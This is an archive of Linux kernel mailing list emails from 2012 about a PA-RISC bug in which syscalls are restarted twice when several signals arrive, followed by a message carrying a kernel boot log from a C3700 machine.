Original-Received: by 10.227.36.6 with HTTP; Fri, 18 May 2012 11:05:46 -0700 (PDT)
In-Reply-To: <20120518175833.GQ22082@ZenIV.linux.org.uk>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:14178 gmane.linux.ports.parisc:4433
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/14178>

On Fri, May 18, 2012 at 10:58 AM, Al Viro <viro@zeniv.linux.org.uk> wro=
te:
=2E..
>=A0Except for that mess with multiple
> pending signals, the value we have in r28 on syscall entry doesn't
> seem to affect the syscall behaviour... =A0Some HPUX compat fun?

We stopped trying to support HPUX compat support probably 8 or so
years ago. Since HP didn't care, no one else did either.  So no need
to consider it now.

thanks,
grant

From - Thu Nov 08 21:08:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [parisc] double restarts on multiple signal arrivals
Date: Fri, 18 May 2012 19:57:12 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20120518185712.GT22082@ZenIV.linux.org.uk>
References: <20120518175833.GQ22082@ZenIV.linux.org.uk>
 <CAP6odjiS+oH7ajnHcyBJwm9bCTZxDJ7w02JeCuWW_UF3Fm49xw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1337367437 22933 80.91.229.3 (18 May 2012 18:57:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 May 2012 18:57:17 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-arch@vger.kernel.org
To: Grant Grundler <grantgrundler@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 18 20:57:16 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SVSMU-0006Gq-JG
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 May 2012 20:57:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965973Ab2ERS5O (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 May 2012 14:57:14 -0400
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:34111 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752029Ab2ERS5N (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 May 2012 14:57:13 -0400
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux))
	id 1SVSMS-0006qL-BN; Fri, 18 May 2012 18:57:12 +0000
Content-Disposition: inline
In-Reply-To: <CAP6odjiS+oH7ajnHcyBJwm9bCTZxDJ7w02JeCuWW_UF3Fm49xw@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4434 gmane.linux.kernel.cross-arch:14180
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4434>

On Fri, May 18, 2012 at 11:05:46AM -0700, Grant Grundler wrote:
> On Fri, May 18, 2012 at 10:58 AM, Al Viro <viro@zeniv.linux.org.uk> wrote:
> ...
> >?Except for that mess with multiple
> > pending signals, the value we have in r28 on syscall entry doesn't
> > seem to affect the syscall behaviour... ?Some HPUX compat fun?
> 
> We stopped trying to support HPUX compat support probably 8 or so
> years ago. Since HP didn't care, no one else did either.  So no need
> to consider it now.

In any case, it doesn't look like something that might be HPUX-related -
there r28 is not used for arguments or syscall number either, as far
as I can tell...

That's a side story, in any case; whatever the reason for restoring
r28, it only masks the bug with double restarts.  If you enter syscall
with r28 equal to e.g. -ERESTARTNOINTR, get the same value from sys_whatever()
and have a couple of pending signals, you will have syscall_restart()
called twice, each time seeing regs->gr[28] == -ERESTARTNOINTR and leaving
it unchanged.  regs->gr[31] will be decremented by 8 on each of those
calls, first time back to your syscall (correctly), then to the entry point
of the first handler minus 8.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [parisc] double restarts on multiple signal arrivals
Date: Fri, 18 May 2012 20:56:10 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20120518195610.GV22082@ZenIV.linux.org.uk>
References: <20120518175833.GQ22082@ZenIV.linux.org.uk>
 <CAP6odjiS+oH7ajnHcyBJwm9bCTZxDJ7w02JeCuWW_UF3Fm49xw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1337370975 17418 80.91.229.3 (18 May 2012 19:56:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 May 2012 19:56:15 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-arch@vger.kernel.org
To: Grant Grundler <grantgrundler@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 18 21:56:14 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SVTHa-00086e-2J
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 May 2012 21:56:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S967201Ab2ERT4N (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 May 2012 15:56:13 -0400
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:39186 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S967137Ab2ERT4M (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 May 2012 15:56:12 -0400
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux))
	id 1SVTHX-0007Iu-0B; Fri, 18 May 2012 19:56:11 +0000
Content-Disposition: inline
In-Reply-To: <CAP6odjiS+oH7ajnHcyBJwm9bCTZxDJ7w02JeCuWW_UF3Fm49xw@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4435 gmane.linux.kernel.cross-arch:14181
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4435>

On Fri, May 18, 2012 at 11:05:46AM -0700, Grant Grundler wrote:
> On Fri, May 18, 2012 at 10:58 AM, Al Viro <viro@zeniv.linux.org.uk> wrote:
> ...
> >?Except for that mess with multiple
> > pending signals, the value we have in r28 on syscall entry doesn't
> > seem to affect the syscall behaviour... ?Some HPUX compat fun?
> 
> We stopped trying to support HPUX compat support probably 8 or so
> years ago. Since HP didn't care, no one else did either.  So no need
> to consider it now.

BTW, what should we put into the trampolines of subsequent sigframes
when we are building more that one?  I.e. suppose we are in a syscall
and see two signals.  We build a sigframe for the first one, with
r25 = 1, call rt_sigreturn() in it.  Return address of original syscall
is stored into sigcontext of that frame, our return address set to the
entry point of handler1.  Now we see the second signal and build another
sigframe.  That one will have the entry point of the first handler stored
in sigframe and we'll set the things up so that return to userland will
land us in the entry of handler2.  Fine, but... what should we have in r25
for rt_sigreturn() in the second trampoline?

We return to userland and find ourselves in the beginning of handler2.
It's executed and eventually we return from it.  We are at the beginning
of the second trampoline now.  rt_sigreturn() is called, restores the
registers from the second sigcontext and returns to userland.  We are at
the beginning of handler1.  It is executed and returns.  We are at the
beginning of the first trampoline.  rt_sigreturn() _there_ restores the
original registers from the first sigcontext and we finally return to the
insn right after the original syscall (or to the syscall itself if we
took a syscall restart).

That final rt_sigreturn() will go through syscall_exit; OK, no problem
with that.  But should the earlier one (done after return from handler2()
and landing us at the entry of handler1) go through syscall_exit or
through syscall_exit_rfi?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [parisc] double restarts on multiple signal arrivals
Date: Fri, 18 May 2012 13:12:13 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <CAP6odjgyK3af7yqHAFTTs38SSNM9H49oWiH=a4byp4MerirE0g@mail.gmail.com>
References: <20120518175833.GQ22082@ZenIV.linux.org.uk>
	<CAP6odjiS+oH7ajnHcyBJwm9bCTZxDJ7w02JeCuWW_UF3Fm49xw@mail.gmail.com>
	<20120518195610.GV22082@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1337371943 24567 80.91.229.3 (18 May 2012 20:12:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 May 2012 20:12:23 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-arch@vger.kernel.org
To: Al Viro <viro@zeniv.linux.org.uk>,
	"Carlos O'Donell" <carlos@systemhalted.org>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-arch-owner@vger.kernel.org Fri May 18 22:12:18 2012
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1SVTX7-0005DE-Bq
	for glka-linux-arch@plane.gmane.org; Fri, 18 May 2012 22:12:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S967306Ab2ERUMP convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 18 May 2012 16:12:15 -0400
Original-Received: from mail-we0-f174.google.com ([74.125.82.174]:50466 "EHLO
	mail-we0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S967324Ab2ERUMO convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Fri, 18 May 2012 16:12:14 -0400
Original-Received: by weyu7 with SMTP id u7so2032928wey.19
        for <multiple recipients>; Fri, 18 May 2012 13:12:13 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        bh=i7qFtSIDrBn+rp8JwU6sGg+MwjbHUpLR+VZV+iYMgtQ=;
        b=wz5ymI1hLppxQ/GMT2p7tSx4/jtQnqA8JkFOAUuNtkJYYrhD0XlpDaXgKOgXMywMTW
         M4HEHDonhrcD1C4MJEyAFiHmQGgJ6Nox4Xs8MX8A2X736EYV1KqAHnMZahkSsn5IBVqb
         6JCvZgDrscdfA0xXt4nETav1wZd5obKU0Azhs4f7WHZDf8v7aoGrpeAPwH2IK2J4oDD/
         iY1gvEG/Tb3kYVahPO24t0x8Oh7Jws+NaTlCdvdbHfrO94tDpBN6EteEHrJMd35DqvyJ
         /RuZUT0LPM2861yIeZZ3AB+5aLjMdTpjCpeqYSjwgB0nCq4qpIXIkIDdwYO82cpiqgz5
         qWnQ==
Original-Received: by 10.216.145.153 with SMTP id p25mr8102022wej.112.1337371933433;
 Fri, 18 May 2012 13:12:13 -0700 (PDT)
Original-Received: by 10.227.36.6 with HTTP; Fri, 18 May 2012 13:12:13 -0700 (PDT)
In-Reply-To: <20120518195610.GV22082@ZenIV.linux.org.uk>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:14182 gmane.linux.ports.parisc:4436
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/14182>

+patofiero,anglin

On Fri, May 18, 2012 at 12:56 PM, Al Viro <viro@zeniv.linux.org.uk> wro=
te:
> On Fri, May 18, 2012 at 11:05:46AM -0700, Grant Grundler wrote:
>> On Fri, May 18, 2012 at 10:58 AM, Al Viro <viro@zeniv.linux.org.uk> =
wrote:
>> ...
>> >?Except for that mess with multiple
>> > pending signals, the value we have in r28 on syscall entry doesn't
>> > seem to affect the syscall behaviour... ?Some HPUX compat fun?
>>
>> We stopped trying to support HPUX compat support probably 8 or so
>> years ago. Since HP didn't care, no one else did either. =A0So no ne=
ed
>> to consider it now.
>
> BTW, what should we put into the trampolines of subsequent sigframes
> when we are building more that one?

Sorry - I only knew about the state of the HPUX support...Carlos and
Dave (and a few others) understand the syscall interface. I've include
them directly and hopefully they can respond soon.

cheers,
grant

> =A0I.e. suppose we are in a syscall
> and see two signals. =A0We build a sigframe for the first one, with
> r25 =3D 1, call rt_sigreturn() in it. =A0Return address of original s=
yscall
> is stored into sigcontext of that frame, our return address set to th=
e
> entry point of handler1. =A0Now we see the second signal and build an=
other
> sigframe. =A0That one will have the entry point of the first handler =
stored
> in sigframe and we'll set the things up so that return to userland wi=
ll
> land us in the entry of handler2. =A0Fine, but... what should we have=
 in r25
> for rt_sigreturn() in the second trampoline?
>
> We return to userland and find ourselves in the beginning of handler2=
=2E
> It's executed and eventually we return from it. =A0We are at the begi=
nning
> of the second trampoline now. =A0rt_sigreturn() is called, restores t=
he
> registers from the second sigcontext and returns to userland. =A0We a=
re at
> the beginning of handler1. =A0It is executed and returns. =A0We are a=
t the
> beginning of the first trampoline. =A0rt_sigreturn() _there_ restores=
 the
> original registers from the first sigcontext and we finally return to=
 the
> insn right after the original syscall (or to the syscall itself if we
> took a syscall restart).
>
> That final rt_sigreturn() will go through syscall_exit; OK, no proble=
m
> with that. =A0But should the earlier one (done after return from hand=
ler2()
> and landing us at the entry of handler1) go through syscall_exit or
> through syscall_exit_rfi?

From - Thu Nov 08 21:08:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [parisc] double restarts on multiple signal arrivals
Date: Fri, 18 May 2012 16:15:42 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <CADZpyixTTcNd0GekBg=UeWMf3eR+Casn6r7cLkcfnaH1Mihk=w@mail.gmail.com>
References: <20120518175833.GQ22082@ZenIV.linux.org.uk>
	<CAP6odjiS+oH7ajnHcyBJwm9bCTZxDJ7w02JeCuWW_UF3Fm49xw@mail.gmail.com>
	<20120518195610.GV22082@ZenIV.linux.org.uk>
	<CAP6odjgyK3af7yqHAFTTs38SSNM9H49oWiH=a4byp4MerirE0g@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1337372154 26228 80.91.229.3 (18 May 2012 20:15:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 May 2012 20:15:54 +0000 (UTC)
Cc: Al Viro <viro@zeniv.linux.org.uk>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-arch@vger.kernel.org
To: Grant Grundler <grantgrundler@gmail.com>
Original-X-From: linux-arch-owner@vger.kernel.org Fri May 18 22:15:53 2012
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1SVTaT-0005DE-8D
	for glka-linux-arch@plane.gmane.org; Fri, 18 May 2012 22:15:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933145Ab2ERUPn convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 18 May 2012 16:15:43 -0400
Original-Received: from mail-pz0-f46.google.com ([209.85.210.46]:45473 "EHLO
	mail-pz0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932822Ab2ERUPn convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Fri, 18 May 2012 16:15:43 -0400
Original-Received: by dady13 with SMTP id y13so4265961dad.19
        for <multiple recipients>; Fri, 18 May 2012 13:15:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=BASsMEtsPjewwraS21Y3PBiG4hlH3wG+5crz2wGm80E=;
        b=DvZEr9ueMRvlhm/kcMPhoqpzGBX7TbvtESxjHgPaB5Bx8bwgVqEs1IquRQZ71B8CvW
         8SuMuk6J9YsDIooflD0s2hs8KCL81JhdxsjhbcaxUQO6rlMi+1bfVfIu2tonbAsBUL2d
         vSKsBCr90XIT8cHPndb/fI/9gCcGL9iRnJdW48RuSMDe7bUEkZpLGdfZkmB4br3IC+RA
         sBjP06TUoICU1bGLs/TTR2ZGChQ9m5xZsixX6GloVvkdxtx1CCoNNj5bMMMd8G83u3fB
         Mv5YrAQygVPI7U2iC7C+NLXNjrNDCf7RBjd3jsYEtQzMS5/MOR9L2RdrxD4f3nZvYxPM
         cJ5g==
Original-Received: by 10.68.197.41 with SMTP id ir9mr9698885pbc.20.1337372142666; Fri,
 18 May 2012 13:15:42 -0700 (PDT)
Original-Received: by 10.68.125.131 with HTTP; Fri, 18 May 2012 13:15:42 -0700 (PDT)
In-Reply-To: <CAP6odjgyK3af7yqHAFTTs38SSNM9H49oWiH=a4byp4MerirE0g@mail.gmail.com>
X-Google-Sender-Auth: bp-VxIfSipdMCFuRYhQz6O1XOCs
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:14183 gmane.linux.ports.parisc:4437
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/14183>

On Fri, May 18, 2012 at 4:12 PM, Grant Grundler <grantgrundler@gmail.co=
m> wrote:
> +patofiero,anglin
>
> On Fri, May 18, 2012 at 12:56 PM, Al Viro <viro@zeniv.linux.org.uk> w=
rote:
>> On Fri, May 18, 2012 at 11:05:46AM -0700, Grant Grundler wrote:
>>> On Fri, May 18, 2012 at 10:58 AM, Al Viro <viro@zeniv.linux.org.uk>=
 wrote:
>>> ...
>>> >?Except for that mess with multiple
>>> > pending signals, the value we have in r28 on syscall entry doesn'=
t
>>> > seem to affect the syscall behaviour... ?Some HPUX compat fun?
>>>
>>> We stopped trying to support HPUX compat support probably 8 or so
>>> years ago. Since HP didn't care, no one else did either. =A0So no n=
eed
>>> to consider it now.
>>
>> BTW, what should we put into the trampolines of subsequent sigframes
>> when we are building more that one?
>
> Sorry - I only knew about the state of the HPUX support...Carlos and
> Dave (and a few others) understand the syscall interface. I've includ=
e
> them directly and hopefully they can respond soon.

I've hit "Mark as unread" twice on this thread now because I *am*
interested in this conversation.

However, I must confess that the original email reads like a rant
without a clear explanation of exactly what you think is wrong.

I'm familiar with the PARISC signal code because I worked on the
32/64-bit compat support for the frame layout, I also helped Randolph
work on the syscall restart logic.

What I don't understand is what's wrong with it now, and your subject
begins to hint at the problem.

Can you describe in more detail exactly what problem we need to solve?

Cheers,
Carlos.

From - Thu Nov 08 21:08:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Fri, 18 May 2012 23:09:10 +0200
Lines: 420
Approved: news@gmane.org
Message-ID: <4FB6BA76.6010101@gmx.de>
References: <4FA9975C.5060708@bergerie>   <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>   <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>   <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>   <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>   <1337069366.3005.10.camel@dabdike.lan>  <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>  <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>  <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>  <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>  <4FB2C129.90307@bell.net> <4FB550F1.7080104@gmx.de> <1337328744.2938.5.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337375363 17611 80.91.229.3 (18 May 2012 21:09:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 May 2012 21:09:23 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 18 23:09:21 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SVUQI-0005aJ-WF
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 May 2012 23:09:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S967427Ab2ERVJS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 May 2012 17:09:18 -0400
Original-Received: from mailout-de.gmx.net ([213.165.64.23]:59137 "HELO
	mailout-de.gmx.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S967448Ab2ERVJP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 May 2012 17:09:15 -0400
Original-Received: (qmail invoked by alias); 18 May 2012 21:09:12 -0000
Original-Received: from p54AD0863.dip0.t-ipconnect.de (EHLO [192.168.178.51]) [84.173.8.99]
  by mail.gmx.net (mp017) with SMTP; 18 May 2012 23:09:12 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1++qOdmtx6+QPx1fTadZfzMP5KOVQ51j3UPr+A5ia
	aY9pv7p2L4T8iH
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120329 Thunderbird/11.0.1
In-Reply-To: <1337328744.2938.5.camel@dabdike.int.hansenpartnership.com>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4438
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4438>

On 05/18/2012 10:12 AM, James Bottomley wrote:
> On Thu, 2012-05-17 at 21:26 +0200, Helge Deller wrote:
>> But I think we still have a problem.
>> I'm using 3.4.0-rc7, have pulled all fixes from James "fixes" branch,
>> and Dave's "vmlinux.lds" patch.
>>
>> The 32bit machines (715/64 and B160L) boot nicely into userspace.
>> The 64bit machine (C3000) crashes directly when switching to userspace.
>>
>> Do we still have another problem somewhere?
>> Or is it introduced because of the vmlinux.lds patch?
>> (Reminder: without the vmlinux.lds patch the C3000 hangs directly at
>> bootup after printing memory information...)
> I'm not seeing it on my rp3410 ... I'm going to have to find the J box
> (which I think is closest to your C3000 ... that's an astro system) and
> boot it.
[crash log removed - new one see below]
> What this says is something went wrong in the tmpalias space because 
> it fell through to the fault path. How much memory does this system 
> have (and what's the layout map)? It's 64 bit but you're booting it 
> with a 32 bit kernel ... I'm wondering if there's no space for 
> tmpalias. James 

James, here is the full kernel log. Does this help?

---
Selected kernel: /vmlinux from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing...
This box can boot either 32 or 64-bit kernels...Only see a 32-bit 
kernel, using thatELF32 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 6549504 mediaptr 0x1000
Segment 1 load 00788000 size 175988 mediaptr 0x640000
Segment 2 load 007b3000 size 144916 mediaptr 0x66b000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Initializing cgroup subsys cpuset
Initializing cgroup subsys cpu
Linux version 3.4.0-rc7-32bit+ (deller@p100) (gcc version 4.6.4 20120514 
(prerelease) (GCC) ) #10 Thu May 17 21:12:16 CEST 2012
unwind_init: start = 0x10690000, end = 0x106d5170, entries = 17687
FP[0] enabled: Rev 1 Model 19
The 32-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005dc0 00000481 00000000 00000002 777c3e84 100000f0 00000008 
000000b2 000000b2
vers  00000301
CPUID vers 19 rev 11 (0x0000026b)
capabilities 0x7
model 9000/785/C3700
Total Memory: 2048 MB
LCD display at f05d0008,f05d0000 registered
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 520192
Kernel command line: HOME=/ root=/dev/sda3 pa64root=sda5 b160Lroot=sda5 
ip=bootp panic_timeout=60 console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux
PID hash table entries: 4096 (order: 2, 16384 bytes)
Dentry cache hash table entries: 262144 (order: 8, 1048576 bytes)
Inode-cache hash table entries: 131072 (order: 7, 524288 bytes)
allocated 4194304 bytes of page_cgroup
please try 'cgroup_disable=memory' option if you don't want memory cgroups
Memory: 2065896k/2097152k available (4404k kernel code, 31256k reserved, 
1969k data, 316k init)
virtual kernel memory layout:
     vmalloc : 0x00008000 - 0x0f000000   ( 239 MB)
     memory  : 0x10000000 - 0x90000000   (2048 MB)
       .init : 0x10788000 - 0x107d7000   ( 316 kB)
       .data : 0x1054d304 - 0x10739770   (1969 kB)
       .text : 0x10100000 - 0x1054d304   (4404 kB)
NR_IRQS:96
Console: colour dummy device 128x48
Calibrating delay loop... 1495.85 BogoMIPS (lpj=7479296)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 512
Initializing cgroup subsys cpuacct
Initializing cgroup subsys memory
Initializing cgroup subsys devices
Initializing cgroup subsys freezer
Initializing cgroup subsys blkio
xor: measuring software checksum speed
    8regs     :  1822.000 MB/sec
    8regs_prefetch:  1798.400 MB/sec
    32regs    :  1443.600 MB/sec
    32regs_prefetch:  1442.800 MB/sec
xor: using function: 8regs (1822.000 MB/sec)
atomic64 test passed
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
6. Allegro W2 at 0xfffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
